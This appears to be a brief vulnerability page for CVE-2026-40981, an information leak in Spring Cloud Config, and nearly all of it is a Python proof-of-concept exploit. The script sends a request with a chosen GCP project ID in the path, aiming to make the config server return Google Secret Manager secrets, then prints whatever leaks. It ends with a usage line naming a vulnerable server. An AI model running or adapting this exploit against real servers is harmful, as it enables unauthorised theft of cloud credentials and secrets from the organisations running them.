CVE-2026-40981 Spring Cloud Config信息泄露漏洞

# PoC Example for CVE-2026-40981 # This script demonstrates how a malicious request might be crafted # to access secrets from a different GCP project. import requests def exploit(target_url, malicious_project_id): # The endpoint typically follows a pattern like /{name}/{profile} # By injecting the project ID into the name parameter, the server # may attempt to fetch secrets from that specific project in GSM. endpoint = f"{target_url}/{malicious_project_id}/default" try: response = requests.get(endpoint, timeout=5) if response.status_code == 200: print("[+] Potential secrets leaked:") print(response.text) else: print("[-] Request failed or blocked.") except Exception as e: print(f"Error: {e}") # Usage # exploit("http://vulnerable-config-server", "attacker-controlled-project-id")